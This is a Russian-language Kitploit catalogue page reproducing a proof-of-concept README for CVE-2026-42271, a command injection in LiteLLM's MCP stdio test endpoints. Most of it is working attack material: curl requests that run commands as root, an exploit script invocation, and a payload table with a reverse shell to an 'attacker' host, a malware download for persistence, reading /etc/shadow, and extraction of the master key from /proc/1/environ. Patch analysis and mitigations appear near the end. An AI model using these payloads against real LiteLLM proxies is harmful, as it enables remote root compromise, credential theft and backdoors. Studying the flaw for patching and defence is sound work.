Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-42271-PoC — Код для самостоятельного воспроизведения соответствующей уязвимости | Kitploit
Инструменты/GitHubGitHub/learner202649/cve-2026-42271-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеRed TeamingЛаборатории и Практика
GitHublearner202649/cve-2026-42271-poc

CVE-2026-42271-PoC

Код для самостоятельного воспроизведения соответствующей уязвимости

Репозиторий
133 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-42271 — Аутентифицированная инъекция команд в LiteLLM через тестовые конечные точки MCP stdio

LiteLLM POST /mcp-rest/test/connection и POST /mcp-rest/test/tools/list — аутентифицированная инъекция команд через stdio-транспорт MCP. Любой действительный API-ключ может выполнять произвольные команды ОС с правами root (в стандартном Docker-развертывании).

Образ зафиксирован по digest: уязвимый контейнер закреплён на LiteLLM v1.82.6, что гарантирует долгосрочную воспроизводимость.

ПолеЗначение
CVECVE-2026-42271
CVSS v4.08.7 (ВЫСОКИЙ) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N
CVSS v3.18.8 (ВЫСОКИЙ) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-77 / CWE-78 (инъекция OS-команд)
ЗатронутоLiteLLM >= 1.74.2, < 1.83.7
Исправленоv1.83.7+ (добавлены белый список команд и проверка роли PROXY_ADMIN)
Опубликовано2026-05-08
Зафиксированная версияv1.82.6 — образ зафиксирован по digest, что гарантирует долгосрочную воспроизводимость
СсылкиGHSA-v4p8-mg3p-g94g • NVD • Консультация GitLab

Описание

Две конечные точки, используемые для предварительного просмотра MCP-сервера перед сохранением — POST /mcp-rest/test/connection и POST /mcp-rest/test/tools/list — принимают полную конфигурацию MCP-сервера в теле запроса, включая поля command, args и env, используемые stdio-транспортом.

При вызове с stdio-конфигурацией конечные точки запускают указанную команду как подпроцесс на хосте прокси с привилегиями процесса прокси (root в стандартном Docker).

Ключевая проблема: конечные точки проверяют только наличие действительного API-ключа прокси без проверки роли — даже ключи internal_user с низкими привилегиями могут использовать эту уязвимость.


Доказательство концепции

Быстрый старт (Docker)

root@kitploit:~
# 1. Start a vulnerable LiteLLM instance (pinned to v1.82.6)
docker compose up -d

# 2. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"

# Or use curl directly (blind RCE — response may show error but command executes)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "id > /tmp/pwned"]
  }'

Проверка выполнения

root@kitploit:~
# Check that the command executed inside the container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...

API возвращает "Failed to connect to MCP server", потому что запущенный процесс не говорит по протоколу MCP — но команда уже выполнена с правами root.


Сценарии атак

СценарийПолезная нагрузка
Базовая RCE"args": ["-c", "id > /tmp/pwned"]
Чтение файлов"args": ["-c", "cat /etc/shadow > /tmp/out"]
Эксфильтрация env`"args": ["-c", "cat /proc/1/environ
Обратная оболочка"args": ["-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"]
Закрепление"args": ["-c", "curl http://attacker/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"]

Уязвимые конечные точки

POST /mcp-rest/test/connection

Проверяет подключение к MCP-серверу. При stdio-транспорте запускает указанную команду.

POST /mcp-rest/test/tools/list

Выводит список инструментов тестового MCP-сервера. Поведение аналогичное — запускает указанную команду при использовании stdio-транспорта.

Формат тела запроса

root@kitploit:~
{
  "transport": "stdio",
  "command": "bash",
  "args": ["-c", "<malicious command>"],
  "env": {
    "PATH": "/usr/bin:/bin"
  }
}
ПолеТипОбязательностьОписание
transportstringДаДолжно быть "stdio" для инъекции команд
commandstringДаИсполняемый файл для запуска (например, bash, python, curl)
argsarrayДаАргументы, передаваемые команде
envobjectНетПеременные окружения для подпроцесса

Анализ исправления (v1.83.7)

Исправление добавило два уровня защиты:

  1. Белый список команд через validate_transport_fields() — разрешены только: npx, uvx, python, python3, node, docker, deno
  2. Контроль доступа на основе ролей — обе конечные точки теперь требуют роль PROXY_ADMIN

Структура репозитория

root@kitploit:~
CVE-2026-42271/
├── README.md                  # This file
├── docker-compose.yml         # One-command vulnerable environment (pinned to v1.82.6)
├── requirements.txt           # Dependencies
├── exploit/
│   ├── exploit.py             # Full exploit script
│   └── payload.py             # Payload generation module
├── docs/
│   └── advisory.md            # Advisory reference
└── screenshots/               # Proof screenshots

Меры по устранению

  1. Обновите LiteLLM до v1.83.7+ (белый список команд + проверка роли PROXY_ADMIN)
  2. Заблокируйте /mcp-rest/test/connection и /mcp-rest/test/tools/list на обратном прокси
  3. Ограничьте привилегии API-ключей — ротируйте ключи при подозрении на компрометацию
  4. Запускайте от не-root в Docker: docker run --user 1000:1000 ...

⚠️ Внимание: изоляция переменных окружения MCP SDK

При воспроизведении раздела 5.7 (извлечение переменных окружения процесса) обратите внимание: MCP Python SDK v1.25.0+ при создании stdio-подпроцесса не наследует переменные окружения родительского процесса LiteLLM. SDK через get_default_environment() передаёт только HOME и PATH, затем объединяет с явно указанными пользователем полями env. Поэтому env > /tmp/env_dump не сможет захватить LITELLM_MASTER_KEY.

Правильный способ: извлечь переменные окружения, прочитав /proc/1/environ основного процесса LiteLLM:

root@kitploit:~
# 提取环境变量(通过 /proc/1/environ)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
  }'

# 查看结果
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# 输出: LITELLM_MASTER_KEY=sk-litellm-master-key

Подробности см. в разделе 5.7 отчёта о воспроизведении.


Ссылки

  • Консультация GitHub Security GHSA-v4p8-mg3p-g94g
  • Консультация GitLab
  • Подробности NVD
  • Релиз v1.83.7-stable
  • Документация LiteLLM MCP

Отказ от ответственности: Этот материал предоставлен только для образовательных целей и авторизованного тестирования безопасности.

Скачать инструмент